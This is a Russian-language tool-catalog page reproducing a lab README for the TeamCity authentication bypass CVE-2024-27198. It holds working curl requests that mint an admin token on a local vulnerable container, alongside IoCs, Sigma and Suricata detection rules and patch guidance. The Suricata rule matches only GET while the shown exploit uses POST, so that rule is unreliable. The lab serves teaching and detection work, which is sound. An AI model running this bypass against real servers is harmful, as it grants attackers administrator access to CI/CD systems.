Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-27198_Lab — Лаборатория для CVE-2024-27198 | Kitploit
Инструменты/GitHubGitHub/cmpnn-romain/cve-2024-27198_lab
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеРазведка угрозОбнаружение ВторженийОбучение и ОбразованиеРеагирование на ИнцидентыАнализ ЖурналовЛаборатории и Практика
53 месяцев назадЕщё не проверено
GitHub
cmpnn-romain/cve-2024-27198_lab

CVE-2024-27198_Lab

Лаборатория для CVE-2024-27198

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-27198 Лаборатория

Описание

TeamCity предоставляет страницу управления токенами, доступную только администраторам, которая не защищена аутентификацией. Это позволяет неаутентифицированному пользователю генерировать токен доступа для администратора, если он сможет найти идентификатор существующего пользователя.


Детали CVE

  • CVE ID: CVE-2024-27198
  • CWE: CWE-288
  • CNA: JetBrains s.r.o.
  • Базовый балл: 9.8 КРИТИЧЕСКИЙ
  • Вектор:
    • CVSS:3.1
    • AV:N Сеть
    • AC:L Низкий
    • PR:N Нет
    • UI:N Нет
    • S:U Без изменений
    • C:H Высокий
    • I:H Высокий
    • A:H Высокий

Аналитика угроз и OSINT

Реальное воздействие и эксплуатация

  • Каталог CISA KEV: Добавлен 7 марта 2024 года, что подтверждает активную эксплуатацию в дикой природе.
  • Угрозы: Эксплуатируется множеством групп вымогателей и APT, в частности группой вымогателей BianLian и вариантом вымогателя Jasmin. Злоумышленники использовали этот обход для создания поддельных учётных записей администратора, развёртывания вредоносных плагинов и выполнения произвольного кода (RCE) для латерального перемещения в сетях жертв.
  • Профиль цели: CI/CD-конвейеры являются высокоценными целями (атаки на цепочку поставок). Компрометация TeamCity позволяет злоумышленникам внедрять вредоносный код в сборки программного обеспечения, похищать исходный код и извлекать секреты развёртывания (ключи AWS, сертификаты).
  • Почему эта CVE критична

    Уязвимость кроется в механизме маршрутизации REST API. Добавляя определённые символы (например, ?jsp=/app/rest/...;.jsp) к неаутентифицированной конечной точке, злоумышленники могут обмануть веб-сервер TeamCity, заставив его направить запрос на аутентифицированную конечную точку, обходя при этом фильтры безопасности. Это не требует никаких предварительных знаний или доступа, что делает эту уязвимость по-настоящему критической с оценкой 9.8 по CVSS.


    Шаги воспроизведения

    Запуск контейнеров

    root@kitploit:~
    cd CVE-2024-27198
    
    root@kitploit:~
    docker compose -f docker-compose.yml up -d
    

    Откройте уязвимый экземпляр Teamcity по адресу http://localhost:8111. Откройте исправленный экземпляр Teamcity по адресу http://localhost:8112.


    Портал входа

    Имя пользователя:

    root@kitploit:~
    admin
    

    Пароль:

    root@kitploit:~
    admin
    

    Проверка уязвимости

    GET-запрос к ресурсу без аутентификации:

    root@kitploit:~
    curl -i http://localhost:8111/app/rest/users
    
    root@kitploit:~
    curl -i http://localhost:8112/app/rest/users
    

    Оба должны вернуть ошибку со статусом 401.


    Генерация токена для пользователя admin

    root@kitploit:~
    curl -X POST -H "Content-Type: application/json" \
      "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
      -d '{"name":"REDTEAM"}'
    

    Это должно вернуть токен, похожий на этот (токен каждый раз разный):

    root@kitploit:~
    eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
    
    root@kitploit:~
    curl -X POST -H "Content-Type: application/json" \
      "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
      -d '{"name":"REDTEAM"}'
    

    Это должно вернуть ошибку со статусом 401, поскольку исправленный экземпляр не содержит уязвимости.


    Проверка токена

    root@kitploit:~
    curl -i -H "Authorization: Bearer <TOKEN>" \
      http://localhost:8111/app/rest/users
    

    Должен вернуть список пользователей.


    Удаление токена

    1. Перейдите на http://localhost:8111 под учётной записью admin.
    2. Нажмите на значок профиля в правом верхнем углу.
    3. Перейдите в раздел «Профиль» -> «Токены доступа».
    4. Вы увидите токен «REDTEAM».
    5. Просто нажмите «Удалить» рядом с токеном.

    Blue Team: поиск IoC в журналах (фактор скрытности)

    Во время демонстрации в лаборатории можно показать значительную находку Blue Team: по умолчанию эта уязвимость невероятно скрытна!

    1. Журналы доступа Tomcat по умолчанию отключены в Docker-образе TeamCity, поэтому HTTP-запросы с ;.jsp не регистрируются.
    2. Журнал аудита TeamCity не регистрирует создание токенов через REST API.

    Так как же нам его поймать? Когда злоумышленник заметает следы! Когда злоумышленник удаляет свой поддельный токен, чтобы скрыться, TeamCity всё же регистрирует это.

    Найдите злоумышленника, заметающего следы, в журналах аудита:

    root@kitploit:~
    docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
    

    (Вы увидите запись в журнале, указывающую, что токен «REDTEAM» был удалён).


    Остановка контейнеров

    root@kitploit:~
    docker compose -f docker-compose.yml down
    

    Смягчение и обнаружение

    Технический анализ (CWE-288)

    Эта уязвимость является примером CWE-288: Обход аутентификации с использованием альтернативного пути или канала. Ошибка возникает из-за путаницы путей между веб-сервером Tomcat и маршрутизатором приложения TeamCity. Добавляя ;.jsp и передавая целевой REST API endpoint в параметре jsp=, исходный фильтр безопасности интерпретирует запрос как неаутентифицированный запрос к публичному .jsp-файлу (который разрешён). Однако внутренний маршрутизатор удаляет ;.jsp и пересылает запрос на ограниченную конечную точку /app/rest/ без применения фильтра аутентификации.

    Легитимный сценарий использования (почему ; разрешён?): Tomcat использует символ точки с запятой (;) для матричных параметров. Исторически этот механизм используется для передачи параметров непосредственно в пути, например, для добавления JSESSIONID с целью поддержания состояния сеанса пользователя, когда файлы cookie отключены. Это обычное, легитимное поведение веб-сервера в сочетании с некорректной проверкой со стороны маршрутизатора приложения TeamCity и создаёт уязвимость.

    Индикаторы компрометации (IoC)

    Чтобы обнаружить текущую или прошлую компрометацию, Blue Teams должны искать:

    1. Веб-журналы: HTTP-запросы к конечным точкам /app/rest/, но содержащие аномальную строку ;.jsp в URI.
    2. Журналы аудита (teamcity-server.log): Необъяснимая генерация токенов доступа или создание новых учётных записей администратора.
    3. Системный уровень: Установка неопознанных или подозрительных плагинов (часто используются злоумышленниками для повышения привилегий и достижения удалённого выполнения кода).

    Обнаружение в журналах (правило Sigma)

    Поскольку первоначальная эксплуатация по умолчанию скрытна, Blue Teams должны полагаться на обнаружение действий злоумышленника после эксплуатации, таких как заметание следов. Вот правило Sigma для вашей SIEM, позволяющее обнаруживать подозрительное удаление токенов:

    root@kitploit:~
    title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
    id: 9a2b53f6-1234-4567-890a-abcdef123456
    status: experimental
    description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
    author: Purple Team
    date: 2026-05-18
    logsource:
        category: application
        product: teamcity
    detection:
        selection:
            message|contains: 'delete_token_for_user'
        condition: selection
    level: medium
    

    Живая демонстрация SIEM (Blue Team)

    Чтобы доказать, что это обнаружение работает, запустите скрипт siem_simulator.py.

    1. Откройте второй терминал рядом с терминалом для эксплуатации.
    2. Убедитесь, что уязвимый контейнер запущен (docker compose up -d).
    3. Запустите симулятор:
    root@kitploit:~
    python3 siem_simulator.py
    
    1. В первом терминале запустите эксплойт, проверьте токен, а затем удалите токен через веб-интерфейс.
    2. Наблюдайте, как второй терминал загорится красным критическим предупреждением, показывающим, что правило Sigma обнаружило злоумышленника, заметающего следы!

    Устранение

    • Официальный патч: Обновите TeamCity до версии 2023.11.4 или выше, в которой правильно выполняется очистка и проверка соответствия маршрутов на бэкенде.
    • Обходной путь: Если установка патча невозможна, JetBrains выпустила плагин с патчем безопасности, который можно установить на уязвимые экземпляры.

    Сетевое обнаружение (правило Suricata / Snort)

    Для обнаружения этой попытки эксплуатации в сети SOC может внедрить следующее правило IDS, которое ищет аномальный шаблон ;.jsp в сочетании с путями REST API:

    root@kitploit:~
    alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
    

    Проверка исправленной версии (лабораторная демонстрация)

    Чтобы доказать, что смягчение работает, вы можете запустить тот же самый эксплойт против исправленного контейнера TeamCity, работающего на порту 8112:

    root@kitploit:~
    curl -i -X POST -H "Content-Type: application/json" \
      "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
      -d '{"name":"REDTEAM"}'
    

    Поскольку патч строго проверяет соответствие маршрутов и правильно очищает матричные параметры, обход не сработает. Вы должны увидеть ответ 401 Unauthorized или 404 Not Found вместо сгенерированного токена.


    Ссылки

    • CVE-2024-27198
    Скачать инструмент